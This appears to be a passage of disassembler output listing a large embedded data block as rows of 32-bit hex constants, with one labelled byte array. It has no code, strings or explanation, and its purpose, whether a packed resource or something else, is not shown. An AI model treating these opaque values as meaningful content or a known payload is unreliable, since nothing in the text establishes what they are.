		dd 0F8ACCE52h, 0F7720224h, 80FC6DCFh, 42E454DAh, 112ADC00h
		dd 0EB371F51h, 96320160h, 0FB853B9Eh, 0C4B47078h, 6D062098h
		dd 0C5B7D7A3h, 0CC50BDB9h, 0DC0AB303h, 0F863173Dh, 38F9AF8h
		dd 66EE449Fh, 40128D3Eh, 949062B9h, 0BE9C55h, 3AC64A6Eh
		dd 75BFFB41h, 0D05AE100h, 8AF1F848h, 0F4FC397Fh, 0E2FAD200h
		dd 0A43B720Ah, 0CB119712h, 84004016h, 0C04F256Dh, 91E5608Ch
		dd 6AB92D98h, 0A39DC700h, 129B81D1h, 49793B03h,	9F51F92h
		dd 2880A474h, 0CF78B4F6h, 4FACE202h, 0E47B9017h, 0A2510C70h
		dd 31F81F73h, 11BA9B01h, 4CF6BC3Eh, 248ACFF4h, 1942456h
		dd 0ECDC69F7h, 58EA8514h, 30A21D7Ch, 0CD01B138h, 43EF8939h
		dd 8A03D832h, 0CB539304h, 8C88B795h, 0D5B604E9h, 83214B1Dh
		dd 0FA8625Dh, 180CE7CFh, 0B8F20DB0h, 7148B9h, 0DB38C2C0h
		dd 0A2F1278h, 0E67880A3h, 9F7A1E19h, 0CDB2BC03h, 6B5481ADh
		dd 5C5EC204h, 14EEF940h, 0A89E02A2h, 362C81EBh,	820BE8D1h
		dd 72F4C7h, 988D2F74h, 0B060FAE2h, 6A621479h, 806096FFh
		dd 98160397h, 0BF002942h, 59DB9CCFh, 0AD43D6h, 21C31A82h
		dd 4EC0FA0Bh, 0FF8F4F06h, 0B090573Ch, 0DC240340h, 279855Ch
		dd 0C0F0C2ECh, 5671AB22h, 3E2103B0h, 0A1F67A49h, 29DCB700h
		dd 0FC2A5888h, 521905E1h, 96BD6h, 89ACFAD5h, 685E8D7Ch
		dd 95692430h, 9412505Eh, 93F829CBh, 59948188h, 0C4A645D5h
		dd 0C325FFD9h, 13DC442Ah, 0C9C70Fh, 0B6258451h,	0AA004215h
		dd 0BE0ED826h, 37EE2C2h, 0E762F4CDh, 0E398CC48h, 909FEC69h
		dd 0EF85B10h, 8B75E5A6h, 0C12CBF20h, 0E0029DCFh, 0FA623D96h
		dd 46D0C816h, 37E12CC3h, 6E44028h, 0E9F6521Fh, 2CE83348h
		dd 0CC00AB61h, 49E6271Ah, 88939742h, 1BB866B0h,	54056000h
		dd 0DE6146Ah, 2EE11684h, 14EC1818h, 0AD5CC73Dh,	5D50017h
		dd 2EF11150h, 7659F23Bh, 731E0358h, 7120A22Fh, 0C91F87A8h
		dd 566FB701h, 0DFA0338Bh, 74D9E042h, 0B4822D5Ch, 0D0D27919h
		dd 7302F175h, 0B0B9FF37h, 0C7D4C117h, 493054D2h, 0FD80F465h
		dd 2AA65F6Dh, 0ED1B04CCh, 0CC51E6E5h, 0A4B10354h, 0BA0AA028h
		dd 105EE1D3h, 9C803490h, 638CE2C4h, 57877096h, 64D9FDCFh
		dd 0B49B0018h, 0D650BAE7h, 6B1ECD0Bh, 6E5D2B14h, 0F5365601h
		dd 2040698Ch, 0F6DA03ECh, 988744FAh, 784884E2h,	1E825077h
		dd 80B7F800h, 722B4019h, 62A03DB2h, 11821B3Eh, 0A6E92753h
		dd 627A5A41h, 22D10018h, 92F7A2ADh, 38D500F3h, 162B23BFh
		dd 4A121E5Bh, 5C002528h, 60266286h, 3DE0983Ch, 7DA21378h
		dd 883DF8E0h, 2BE58924h, 822689BCh, 4094D0F4h, 1668FAB4h
		dd 21A1CAE8h, 0E00F4A6Ch, 5F013F55h, 6BE11EEDh,	0B7CDEF3Ch
		dd 78BD048h, 0D20F81A8h, 0F84C4065h, 3800BFB8h,	210DC48Dh
		dd 33E23D4h, 7EBD64CFh,	97E35314h, 78F446E1h, 5F809D14h
		dd 5CDD1BCFh, 225000DEh, 0D05827C0h, 0E80BB564h, 64F8C914h
		dd 0C04709F4h, 68185023h, 80002560h, 66933C1h, 78D377A1h
		dd 5820E5CDh, 0CF6400B6h, 0EFC82360h, 8C028EFFh, 0A56D900Ah
		dd 16B87C44h, 7ED8A017h, 0C944DE7Fh, 6C0F00B7h,	0B367B87h
		dd 1B021A93h, 5F267F86h, 147263h, 24D4BBBh, 0FEF1067h
		dd 0DAD71A00h, 0ED91011Bh, 513202AEh, 64E1B7A6h, 1338A4D1h
		dd 0E8E29DBCh, 0F658E601h, 0D8DB77ABh, 1AE015A3h, 2F17DE00h
		dd 0F4E2E7A9h, 2E1D0CFDh, 0A2B1F5D9h, 3FA2801h,	4F990490h
		dd 0C4D2CEh, 0B1C93837h, 0FBF4EBD4h, 9D86C005h,	0C88FF20h
		dd 87701D14h, 0F23642ECh, 0F858EFE0h, 0FC9C9516h, 0C9AD98D0h
		dd 0A0BD004Eh, 2F42EB52h, 4701A4FDh, 2212C8D7h,	2421072Ah
		dd 80EA09E8h, 0B007A378h, 0C1D6F0F9h, 5CE6653Fh, 80004C13h
		dd 8D8060A1h, 6CDB4566h, 0A8280418h, 90E812A7h,	88D5C7Dh
		dd 91DAC800h, 275EE8B3h, 9066172Dh, 5C0908h, 0F1258B2Dh
		dd 2086312h
		dd 9E4FC016h, 95594802h, 0C1ECA019h, 3DD56D64h,	0A78B3116h
		dd 78401FE0h, 5C52E1C4h, 0B04901CCh, 887E9A1h, 28642462h
		dd 6844E5FBh, 44C18714h, 0D7C00FA7h, 790CB19h, 0E6097810h
		dd 2A516D5Fh, 0A7CFA820h, 3EF30E42h, 3223D2E2h,	0F1AB3070h
		dd 18AFC788h, 7C20A84Ah, 0A520E0h, 716A4E9Ah, 27EF162h
		dd 0DC40FB4Ah, 0AD2DF57Dh, 0CC1E050Eh, 0C0D9BD18h, 72F33486h
		dd 98004498h, 0ADB31A51h, 1FFA5815h, 5A002F1h, 0B890E1B8h
		dd 0CF6B0B50h, 8A0852Eh, 450648Ch, 64C7865h, 0C8D28035h
		dd 0A600816Dh, 0AAD5B88Dh, 2C480AF7h, 409C09E5h, 0A55B11CBh
		dd 0A67B4B16h, 144C4200h, 3D5D9C5Ch, 0AC00B119h, 0F9A2598Ch
		dd 43ED663h, 2D568F08h,	0C83B81C7h, 223B84FCh, 0C920D4C4h
		dd 277F349h, 31549F8Eh,	85687CDh, 4A535D40h, 3C2D4810h
		dd 3567FF0Eh, 4E479080h, 9805E5D3h, 97822C5Eh, 52B4C8h
		dd 0C7CF6094h, 0EE9D506Fh, 6298909Dh, 69E0007Ah, 676CE973h
		dd 3A02B1A1h, 9FD8AA28h, 91050CFh, 5FE12274h, 7EAC92h
		dd 748C440h, 7A1806FEh,	286D4F61h, 87228842h, 454E0200h
		dd 0D9EDD883h, 663E24FEh, 1D3029EEh, 95CC8150h,	0C412F31Fh
		dd 0E11F5FAEh, 9D02B4EFh, 54628D66h, 0F0718048h, 0A090E612h
		dd 3C881A4Ah, 0F3D91DB7h, 0D25F0713h, 57E210DFh, 7209DA90h
		dd 0E8FB0191h, 6ABEA0h,	82EAD9B9h, 3DA3D06Fh, 424F3Dh
		db 15h,	1Fh, 4Ah
byte_582323	db 11h			; DATA XREF: ___:off_44486Co
		dd 171D735h, 549EFD88h,	0F82B0CC7h, 5CB91E12h, 0E6804A9Dh
		dd 0DFF1C6Fh, 7D87017Fh, 0E8363A63h, 270078ADh,	67A000D9h
		dd 15867Fh, 0F9F0B11Ch,	0EF290A79h, 8B312C00h, 328CA1D3h
		dd 9E3E0B15h, 2C794905h, 6AB7C884h, 2071D882h, 0B359F403h
		dd 0BB6EFB12h, 401E1008h, 0E444AE51h, 0F9080F0Bh, 0B47402CAh
		dd 191960DCh, 0EB1014C1h, 1780E0FEh, 0E5CC6428h, 0D422AF00h
		dd 489B6DDAh, 8BCF0119h, 1771BC9Dh, 0C39A2h, 0FD8F8ABEh
		dd 2BA2991h, 3AB604E6h,	90520F88h, 2948E127h, 0BC0F0BCh
		dd 3C41AF64h, 924C1098h, 0C9A30E00h, 0ABBC7CA7h, 0ED9E0082h
		dd 58197661h, 16485AB2h, 0E90971E0h, 0D1328778h, 0EB030018h
		dd 880FD86Eh, 530AF500h, 827084C8h, 8B422622h, 0EDA200A4h
		dd 0B7769451h, 65001C91h, 0FF1F63D5h, 2DC5EEAAh, 0E020A271h
		dd 42DB1CE2h, 76CF23Eh,	10457B07h, 8831701h, 0F90ECC40h
		dd 3C1A48E8h, 2079B616h, 0F7A1D584h, 0D8573000h, 53B72CA7h
		dd 0A9EE0B8Ch, 400819Eh, 9C12CC78h, 6B0FFAEEh, 25149A5Fh
		dd 0C437B6B3h, 5259D720h, 2D38EED9h, 0E064530Fh, 0BC562C07h
		dd 0B11778DAh, 0F80DCBD0h, 896616DBh, 0E0602459h, 0FA4B0A3Ch
		dd 1436CC8h, 6419B55Ah,	20234890h, 0EA00BD68h, 0AC65C1F9h
		dd 173E3DA8h, 43EBE0C3h, 51D45F8Ch, 0D15DB4E1h,	408ACD0Ah
		dd 0F9FDA5C8h, 0FA010099h, 8E69BE4h, 0C864E0A7h, 56E57207h
		dd 47402D26h, 1C119Dh, 6DCEC9B9h, 0A46305F9h, 0FCC8035Bh
		dd 0AF1D008Ah, 7A72B0ABh, 7D00246Fh, 0DBCB76B1h, 24995998h
		dd 0E0846D8Dh, 93275231h, 4B134675h, 0C8206E8Dh, 3EF587ECh
		dd 1912EBCFh, 6B2000A2h, 2108A33Bh, 3C908C5Bh, 0F96C4Dh
		dd 0B7BF775h, 332B6135h, 7D8E85Ch, 8872111Ch, 805249h
		dd 8D1A3B59h, 4FCC651Fh, 0C9531100h, 0A77D2A45h, 66B606CBh
		dd 801F837Fh, 96840548h, 0A1C7FC07h, 0F36113h, 0C4695840h
		dd 8A048042h, 73B49095h, 0E80702DAh, 97C61160h,	87EFF0C0h
		dd 0DF7A680Fh, 64D867DDh, 0A5F08E11h, 17124A20h, 0C9B96DB6h
		dd 4C91DC24h, 31D69D00h, 90B8CB66h, 140F0041h, 7BB693A2h
		dd 0EE00FCDEh, 157244AAh, 243BE9F6h, 49641788h,	1A00A051h
		dd 54F5D88Bh, 2012026Bh, 62162F51h, 93E9FE0h, 3B303900h
		dd 49D375BEh, 487169F0h, 6A474010h, 68BE602h, 5EB401C9h
		dd 42D34428h, 27B3FF72h, 48EED0E0h, 4B9BC5Ah, 0C439DF80h
		dd 2457A9Bh, 0B09DDDCBh, 876EE96h, 0AE40DB47h, 156105h
		dd 0CAED8923h, 6F5113CBh, 8D10B300h, 0D2C2908Eh, 0DD5D0B47h
		dd 0D4F0151Fh, 0F4B1C798h, 3EBDB800h, 16E62BAEh, 1A527D2h
		dd 4AE99309h, 6619CC39h, 4080CC9Eh, 1BDF1BFh, 29A912F7h
		dd 0EC8D0188h, 8A845DE6h, 84368751h, 0D23EE760h, 0A1F011F8h
		dd 3CD40080h, 207DC82Bh, 220A3CE6h, 0D85A850Eh,	5BF30EEh
		dd 0C04D5304h, 0CB1502E4h, 46D3E325h, 2A5C02C8h, 572022C2h
		dd 0D01E38DAh, 803FD956h, 1A736028h, 60E24111h,	1D769905h
		dd 909552E6h, 12E5C3C0h, 0FE8F7Bh, 26CEBD54h, 0AB138BE8h
		dd 0D420FBC8h, 31DDFD9h, 0E9475D49h, 45D0E230h,	3E25A97Dh
		dd 0E1C8407Ch, 8CB01478h, 0CD83F0F5h, 0A0E894F9h, 6D092DC5h
		dd 0F9058804h, 0E21168h, 0A109B6EDh, 0F93DDAh, 0FD29A2E3h
		dd 70421DD4h, 0D4FAB829h, 0A018F700h, 34B8245h,	2A237EF1h
		dd 19A92867h, 52B29AA5h, 40C05661h, 5648728Eh, 0F2FF4717h
		dd 0B40B9900h, 7E3F60Eh, 6DDD08F1h, 807A46h, 7C1E7FAFh
		dd 20B56324h, 942F7D30h, 3F0F0FE8h, 1722EA56h, 94601E16h
		dd 7917D62Ch, 1492FDE2h, 187CE27Fh, 0AC064B0h, 9123355h
		dd 36003F78h, 7CCA3070h, 9707A6E6h, 9A54C9C4h, 0E14B9032h
		dd 84C29214h, 0ACC441B9h, 9DCA2840h, 53438AD3h,	7A008C36h
		dd 453209F7h, 52014263h, 5F91AE98h, 182D79FAh, 0F2757B01h
		dd 0DB40BCE0h, 0E6492580h, 0B30B8CFAh, 6B0911D3h, 8FC7B010h
		dd 0A30D03CDh, 9A895F38h, 0C7936AAh, 9635500h, 5083CCBCh
		dd 9C1ABE14h, 0CA7801A4h, 2F65F969h, 86C78C34h,	3B2592D0h
		dd 0C9DA0BACh, 8479D852h, 7A1DA800h, 0E2460E4h,	0A5DA7531h
		dd 8D599CA0h, 30BFDA9h,	0E8FC93CBh, 0F1F0Ch, 0CC52664Ah
		dd 1E2990E1h, 9D00C577h, 265EAE2Ah, 91A26214h, 635980B8h
		dd 52476C69h, 0B3A4B700h, 450CD1Eh, 1D4DEE6Ah, 0C1129BF8h
		dd 390C5DC2h, 0C9BE60A8h, 94CCC409h, 0CAC40430h, 9A67CC0h
		dd 953100E9h, 68C9177Dh, 3A015B60h, 0F714F11Fh,	41F0CF4Ah
		dd 51C7456h, 87EA1E5Ch,	145CC819h, 12068D1Dh, 0F7157300h
		dd 0F6A80Ch, 0D989FB94h, 881A5BF4h, 64D2194Ah, 0DCFAB7h
		dd 996F6C97h, 7A018F63h, 0D265FA05h, 0A489F9D9h, 0D84F4h
		dd 4F11EBCBh, 92DF5556h, 508CF803h, 0A9C89F34h,	0A610DD62h
		dd 4CB8EBA4h, 0AE1E7709h, 9CB068F9h, 563800AAh,	3D9F1ABEh
		dd 3E00D9A8h, 3260EFC8h, 16EA4C58h, 0BA05211h, 780BED68h
		dd 0E69ACC18h, 230F0909h, 3A74E418h, 0D2807268h, 0A194A411h
		dd 418BB53h, 0C158DA9Dh, 8008B927h, 0C03D2484h,	413F524Ch
		dd 77730013h, 0FAAA9625h, 448C0090h, 0F26F75F4h, 2E78EB7Fh
		dd 98947104h, 5FC2031Dh, 0E1CF1C6h, 0B643116Bh,	8ED82973h
		dd 5F12A091h, 14ACE9F1h, 0D87B90Bh, 51E1CC48h, 0F880B094h
		dd 40958E93h, 0EC24B094h, 77F7678h, 0D46398B9h,	7B504068h
		dd 0B10D3B82h, 0A25759E9h, 7125448h, 3FE44E13h,	0AD892028h
		dd 730E4F86h, 0F88C1E17h, 1F0CBAA1h, 47460F4Eh,	9E9906B8h
		dd 9FBB3E02h, 0F4554760h, 6414B090h, 75462AFh, 0E9CAF65Ch
		dd 0DA4E4810h, 0A8A1D8Eh, 2765007Ah, 7B92BD40h,	0CCF87424h
		dd 96DCCC03h, 7DC28011h, 200F5B88h, 0D8EFE214h,	29F95D04h
		dd 0D0A23251h, 0A230007Bh, 0E52A6586h, 4500F922h, 8EC21195h
		dd 12B45735h, 90FC7E87h, 0BD1BEEF4h, 7A3A9D00h,	1771D58Fh
		dd 0FB13391Dh, 215CE613h, 8B431664h, 98202AD0h,	6136C8h
		dd 47AF1240h, 2456C709h, 80529402h, 46C0E2B4h, 34210010h
		dd 0B7D56383h, 0AFF09ECCh, 1C941F00h, 0E1CFA56Fh, 9D7F017Eh
		dd 1433DD90h, 31F4C9EEh, 0E40DC539h, 0FC0006B2h, 0C43B4E1Ah
		dd 5F14A28Dh, 0AC5482E0h, 0BC5CF858h, 8C032E14h, 14E058h
		dd 92569DB9h, 0D83EB8B5h, 40C00758h, 5202AEDDh,	6FD0AA4h
		dd 0C7AC7E6Fh, 90A74803h, 0F5891A0h, 6705F08Dh,	8A9FBDC0h
		dd 7774EB80h, 6DC52E09h, 0FEB0389Dh, 0BFE50581h, 8CCB041Eh
		dd 9E01FDA4h, 46931086h, 4EE87AB8h, 739901BFh, 0C90FC765h
		dd 148832DEh, 89BCF48Dh, 45AF9h, 485F4BB9h, 0EC144711h
		dd 8F00CCE4h, 598BF904h, 968E5089h, 0A06C1234h,	50B88C58h
		dd 0F4706905h, 4CB84108h, 0F16589C7h, 29A1E9F9h, 1140050h
		dd 0F398A5E0h, 0D4D016Ch, 28C0252Dh, 0ADBE8027h, 0CC53BE6Fh
		dd 4F550ACAh, 540941h, 67E427A0h, 45002590h, 0BCF9AF40h
		dd 0A02EA8BDh, 4E5AFDF0h, 19D88854h, 94844D02h,	66C50429h
		dd 0C7FC08h, 0FDDD93A7h, 30CA69FCh, 0D5901400h,	3DBB395h
		dd 0A4827C73h, 0C7640AF8h, 11E0B618h, 0B4225E29h, 6660D5EFh
		dd 360016DEh, 0DA80DB9Eh, 9033175Eh, 65A42662h,	0F43C0163h
		dd 41B7D666h, 0F0C51968h, 0C00F59Ch, 3330586Dh,	0B5FFE723h
		dd 0E5E08093h, 0FC02722Fh, 713AF5Bh, 40E87E92h,	680A5399h
		dd 3E235003h, 0A86F7273h
		dd 3E3AABE9h, 7BF20486h, 7890BF5Ah, 0A6006C01h,	3003EF0Fh
		dd 0D9F439h, 938919B6h,	5290F8CBh, 2FF7C724h, 0EFB7C90Fh
		dd 0C841C17Fh, 0E868DD88h, 2F1E3A80h, 0D50073DBh, 879B7F6Eh
		dd 1CC918ACh, 0DDA4B253h, 6B74047h, 14430B30h, 83084BDh
		dd 3E8D4520h, 19334E04h, 44A99018h, 64BFC183h, 3CCC48B8h
		dd 0C5023CBEh, 57638D6Ah, 7AC4B498h, 91F78507h,	0DEB280F4h
		dd 0C06626h, 6F52AF7Eh,	95536932h, 6B2F875Ch, 347081h
		dd 11D56241h, 86F957A2h, 206139CFh, 10B73EEEh, 0B3F98EDh
		dd 9C78BE0Ah, 8CE00984h, 8D017C68h, 35041DDAh, 5D84168h
		dd 2D3E0087h, 7BF1D281h, 2E0058BBh, 0E3900313h,	8C8ED5h
		dd 799C9F8Bh, 0DBCC200Dh, 0E84440B0h, 9E5D004Fh, 7265031Ch
		dd 520340CEh, 60E6395Bh, 6CA1586Fh, 0B01496C7h,	40546450h
		dd 6515BB00h, 0B34ED468h, 0AE120980h, 3CF84BDBh, 4460749Ch
		dd 79E2DAh, 80A5D213h, 0FA8B0405h, 145702Ch, 0D4E1DB00h
		dd 5B14117Eh, 33E090FBh, 37010998h, 46A270F1h, 15ECC886h
		dd 0BF3A00AEh, 4FE4C7C3h, 56131E8Eh, 0FCE20D67h, 3E251700h
		dd 7543F0CBh, 5DBE1C00h, 0F30F56DFh, 32AFE8FEh,	97A0A66Ah
		dd 3098205Ah, 3F98317Fh, 0DB00309Ah, 0E9E15DA8h, 76F70317h
		dd 0F2041EE0h, 0E367008Bh, 727D83D3h, 0AC5C97FAh, 0EFB4CF8Ch
		dd 12FBC0C6h, 3DAA9E91h, 0FE6F0Eh, 42376A4Eh, 7F920A3Bh
		dd 0EAE4F817h, 50B27412h, 0AD580800h, 8D94E0FEh, 11925104h
		dd 58986290h, 0FE912C9Ah, 4C0276Ch, 7C27B631h, 601C101Ah
		dd 8D9700BCh, 0C1298373h, 8104A885h, 0C790E642h, 856DA4C2h
		dd 0C88292D4h, 0D9E8C088h, 4442794h, 80AAB8A0h,	2C00FD3Fh
		dd 78FF7B77h, 0BC5F850h, 0F9270134h, 0B3DCC410h, 4E219600h
		dd 95E412C3h, 4D4900FBh, 0ED5DB44Ch, 3024EB07h,	0C43B3CE9h
		dd 7E4830E1h, 4D6FB141h, 0E4416A25h, 325B03DCh,	6C8F931Eh
		dd 20FA9AA0h, 0B0DBA400h, 0B2E89C0h, 0F58700D5h, 14CF580Ah
		dd 15EE15Bh, 107A3049h,	74117FCh, 9393BEBh, 26864236h
		dd 0EC1A8060h, 8097F606h, 3D8982FCh, 4300AF3Ah,	0D9AC2B86h
		dd 95587CD7h, 9E3E07D4h, 52506E72h, 32247Fh, 3B4FD9C4h
		dd 0FF36F209h, 0F8EBEE24h, 9550A42Eh, 0C99800BFh, 0F56C99D9h
		dd 62277718h, 88441Fh, 8E875130h, 0E94DBF3Dh, 3CACEA09h
		dd 1059EBh, 0FC5C27F3h,	0F000C936h, 8CCF187Dh, 586D3119h
		dd 0F6179CCDh, 1A4DC77h, 8B000AE9h, 0EA13922Fh,	72E019D0h
		dd 0FBF2430Bh, 45BA0311h, 888A9CAh, 7425D873h, 0A70070E4h
		dd 0DFC4DBBCh, 39E0FD82h, 6C9E5269h, 28C1CFF7h,	8AC66865h
		dd 0CE701FF4h, 0A5046987h, 0F2F0E232h, 0F4EC00C0h, 0F52F4AA2h
		dd 44E414F6h, 2BE51A03h, 0A82890E1h, 7493F3F4h,	0C8020048h
		dd 4505B3C9h, 5302143Ah, 0A9F107A2h, 4024D48Bh,	0AF6D2F84h
		dd 0E71CE400h, 356AD48Ah, 724F1FDCh, 5C644062h,	0FB111E12h
		dd 0AC036091h, 0C0506AEAh, 0EAA3F04h, 0A4422C10h, 749CA620h
		dd 472D1317h, 16C60B5h,	1FB42FADh, 503DA444h, 53D024Ah
		dd 558875B6h, 0D48123E2h, 604DFC60h, 0A34F59F0h, 0D81CC830h
		dd 4AB831h, 9B75A7E8h, 0C146B4ACh, 16EF03Fh, 0C8EB17E1h
		dd 0FCCC88F4h, 32CE131Eh, 0F4A221h, 27623ED6h, 7F4995h
		dd 43D018E9h, 0D9925283h, 56C6111Ch, 275D5A00h,	9599EEh
		dd 20070271h, 0EA4039B4h, 4488744Ah, 49F0007Bh,	67EB7F9Eh
		dd 132CCC0Ah, 0B400C26Fh, 0A0C3FEB9h, 64665885h, 61E8B005h
		dd 2E50E141h, 1C000DE8h, 9E971242h, 1F167003h, 0A00806C3h
		dd 87E685D4h, 0E188880Fh, 11A07800h, 563F292Bh,	418B0033h
		dd 19F6F832h, 18905190h, 0FFF4891Dh, 9A00B35Dh,	4D943B87h
		dd 0D61504B2h, 8C93C251h, 317DF1B4h, 0D3BD2305h, 77C006EFh
		dd 9784DD5h, 494F27FFh,	0FA408C74h, 596C44h, 0BBB4BFC3h
		dd 0F6D22E5Fh, 9FC41D00h, 0CAF85873h, 7B8D274Ch, 0F05954A9h
		dd 3185E201h, 3C238903h, 79EE6C00h, 0CD3DC571h,	0FD8E9100h
		dd 8E290DEh, 948DF4DDh,	0CBA3809Ch, 0A5888EB6h,	3E7FCA1Ch
		dd 0B0B52F41h, 7C2061DAh, 391702C7h, 148C03CDh,	531C8CD1h
		dd 0D787A41Eh, 470EB21h, 0BA3529Bh, 7220DA15h, 0AA4BB818h
		dd 92690700h, 0D6872DEAh, 2B300EDh, 7342F0D0h, 7800971Bh
		dd 482B2072h, 4C1EC750h, 0A21624CAh, 8BE600A1h,	0D73262E2h
		dd 0E888895Ah, 0AE9F0078h, 8E9D525Bh, 0F7008F67h, 6F7C0E26h
		dd 12CF1E07h, 4250F41Fh, 7F97D594h, 2B0863C0h, 0C4F9F802h
		dd 0E078409Dh, 0F77184h, 0FF53CE92h, 27770516h,	0F5471404h
		dd 0FC80120Dh, 4CD4083h, 0F665F750h, 0CF388072h, 60DC0261h
		dd 56FCF504h, 445D1EFEh, 0EC6B0458h, 18738020h,	74E9E61h
		dd 2BC5102Ch, 0FAB692FFh, 0EB805074h, 13D09F75h, 0CB00015h
		dd 51D509FBh, 0CF020502h, 5AE6A5D1h, 0FD188004h, 70254Ch
		dd 58DA7139h, 0B10D16B4h, 2A128D35h, 5B0348E4h,	0D90CC061h
		dd 0C0F68890h, 13A6F20Dh, 203A3CA5h, 4E2C9FD4h,	64EDD919h
		dd 0CAEC7F7Ah, 439D0197h, 0B606CB19h, 80A82820h, 62F1486Ah
		dd 8D1E005Fh, 915636AAh, 0E6001889h, 111AB678h,	16346958h
		dd 0B4F0C8ECh, 0E803F320h, 14E70C04h, 8C262E72h, 0C08D4028h
		dd 455FDABEh, 0F68088h,	0C2E03E20h, 0BE93A968h,	0EF884F00h
		dd 5FF9E2BFh, 4DDA09B7h, 3CD6621Ah, 5C70CC01h, 0A7CCC915h
		dd 409214F6h, 0E116C880h, 9C28C851h, 1E7C100h, 0F5D6F4B6h
		dd 226E4B8Ch, 0C8ECCA7Ch, 0BF80819Fh, 0B46CFDC8h, 8F822A3h
		dd 0AD00ED7Ch, 48B63F4Eh, 15DAEC4h, 7A411033h, 50BA9F83h
		dd 8FAFB374h, 0F8CAA900h, 7C33197h, 0EC40A88Dh,	8325C4Ch
		dd 4EA4FE24h, 0BFD557C0h, 89038BD8h, 735F1522h,	521A89Ah
		dd 51CB0417h, 0B2461694h, 64571DB4h, 60DA2900h,	0E8066Ch
		dd 0D370F11h, 7903201Ah, 61922427h, 8AE015D4h, 3223019Bh
		dd 9F4BB257h, 7C6DFCh, 0C9F3BC84h, 2805A459h, 0B090BBE5h
		dd 79908220h, 38ED00A0h, 32E6F50Ch, 18162C09h, 0FD4C4AAh
		dd 65C08F2h, 8B10F960h,	0B90E6A99h, 0FF7F3F51h,	425B25C0h
		dd 7BCF1C2h, 8C238946h,	1D7E6343h, 80AD14F1h, 0B98ED920h
		dd 933846h, 4FBC357Fh, 0C33F08AAh, 0CE0403Bh, 8D4944Bh
		dd 0D898002Ch, 0AD71A0B3h, 0F07E3C9h, 0EDAE670Bh, 4CE61601h
		dd 76CD5C0h, 8EB38C49h,	963C434Ah, 3C9841D6h, 69B74E0Eh
		dd 369DC557h, 0CBB0C6C0h, 0D54D003Dh, 4EF3E6D6h, 53E576Ch
		dd 0D8D700B7h, 8FE96173h, 3DE86Bh, 58BFE7DEh, 60411EF6h
		dd 50C1ED30h, 0EB37B05h, 59BDB906h, 0F0A21760h,	4D22F647h
		dd 7AC10069h, 0B2393A6Bh, 19C0CF8Dh, 0F5FAE8D5h, 425A050Ch
		dd 1544F04h, 1D63BE18h,	1B51E829h, 0D82C4800h, 47D7C9EFh
		dd 90160C96h, 40C0DFC2h, 39565830h, 6E8B4h, 135792Bh, 79C66A1h
		dd 97AAE700h, 6150E1E9h, 81AF69EEh, 0DACE4100h,	4270471Bh
		dd 1F2A9278h, 1E1F940Bh, 88C65AB0h, 615E5Bh, 0B44B1066h
		dd 3E532CC1h, 0F0769A00h, 0CABC4E48h, 3A170116h, 3C5AFD47h
		dd 0F4498510h, 0AC206D4Dh, 0C1585340h, 0BE7638C8h, 8480EE17h
		dd 0C81EDDF2h, 751CB100h, 3A11FFE9h, 74C0A03Eh,	40876030h
		dd 0BB0DC069h, 2BD4000h, 0B5CA5F16h, 6E6B825h, 1FE76FBFh
		dd 720079F8h, 0C4DB808Eh, 7AB2BDh, 13BB7FAAh, 862916C9h
		dd 0C21DF200h
		dd 0AC9FD74Fh, 0D6BF3F9Eh, 0B4AAB13Eh, 0D0A63790h, 0F48880B9h
		dd 11C60E3Ah, 199831h, 3ED3F82Eh, 14D98A4Fh, 7BBFDC0Eh
		dd 19813FADh, 0CEEEACC0h, 0B05F5180h, 3C78CC20h, 0A6BF921Fh
		dd 28498998h, 58500041h, 4940AB9Dh, 0DA7C63ADh,	0D6C680A0h
		dd 60F3E13Eh, 0E6CFB749h, 3BF71B4h, 0A3D53C3Dh,	0C0788B53h
		dd 0C7A840F3h, 0C8016E21h, 0B74869Ch, 0A1F065D2h, 0A68439ECh
		dd 5800BCA2h, 60D36F87h, 48A9406Bh, 0A00C9B5Bh,	0E6487D39h
		dd 5A69C20Eh, 50AC3509h, 0E9004064h, 42FE6285h,	0A46E38F5h
		dd 353D24F0h, 16C600A8h, 0FF285A51h, 0B3EE39C6h, 0DCAC00C1h
		dd 60CE53E1h, 2A05C4FAh, 7D13168Bh, 7E91C600h, 33E9AEE2h
		dd 0F459584Fh, 0E4F325B9h, 0E40134C8h, 16FE9B39h, 42F21EABh
		dd 0D1DC0F02h, 6D8CD73Ah, 5D11CDEDh, 14895803h,	0FBF381FEh
		dd 0C0ECFA27h, 49B236C4h, 1E80C888h, 32C1907Eh,	2D7383Ch
		dd 48F71DE0h, 9290812Ah, 30E822DBh, 74A0A8B0h, 6D2D00FDh
		dd 7068D26Eh, 0E700DF35h, 7644D8E8h, 0E8BEF4A2h, 55D002B7h
		dd 7325A02h, 92DE88A0h,	0F4601EF5h, 0CDD95311h,	604F0730h
		dd 10141151h, 0DB46D6F5h, 824DC024h, 0EE7E8E05h, 7FBE6C00h
		dd 45FAABh, 27961DBh, 70A92D7Dh, 8F40ED1Dh, 90882600h
		dd 67245A64h, 0B5F46901h, 0ACAC545Ch, 74AEE4C3h, 9FA06498h
		dd 1C05637Eh, 0CFCB778Bh, 0C200E684h, 43E93976h, 88A60104h
		dd 1FC9738Fh, 2D59AC13h, 89A18A00h, 3F419CFh, 74152A6h
		dd 88A03A59h, 3030DFBBh, 0A70A71B1h, 0EE8C009Ah, 51F579A1h
		dd 0F00AB43h, 0AAA63F2Dh, 0C0A4EDE8h, 0CD3BA0E9h, 74007236h
		dd 98453AE9h, 9A0CB128h, 0E8881FE0h, 5AA6CEFCh,	50583923h
		dd 367EE103h, 0D04BD74Dh, 246BF42Eh, 0B0373Eh, 0F10DB3A1h
		dd 0B56387B2h, 1D535869h, 80AF3639h, 0B3929A12h, 3405FDD4h
		dd 5F267416h, 4698DA00h, 1643406Dh, 0E9243Dh, 387BD618h
		dd 42E591B2h, 0C2205A28h, 621B33h, 0BE2812C8h, 0C62E830Ch
		dd 8F550101h, 6AF2D6D4h, 75087832h, 9E8E9830h, 2AAD4134h
		dd 9AFC790Eh, 3EF50159h, 7870CAE5h, 815C62ECh, 10022FD6h
		dd 3D008432h, 79BE4B71h, 32CACDDh, 530F620Fh, 2BBBC0F4h
		dd 18CC8F9Bh, 4036B340h, 45E678D5h, 78CF052h, 7F136F84h
		dd 0EE623990h, 4519C0BBh, 11619729h, 8EDFB901h,	10AED0AAh
		dd 1D439420h, 0D82D4BD2h, 4C7589F5h, 0D15A6C00h, 0AE3EE1ABh
		dd 0FF930596h, 406FB523h, 48ED6814h, 9407508Ah,	0F6B0869Bh
		dd 56A21370h, 334E0121h, 0F4614F2Ch, 0B7898049h, 0E91EF1D6h
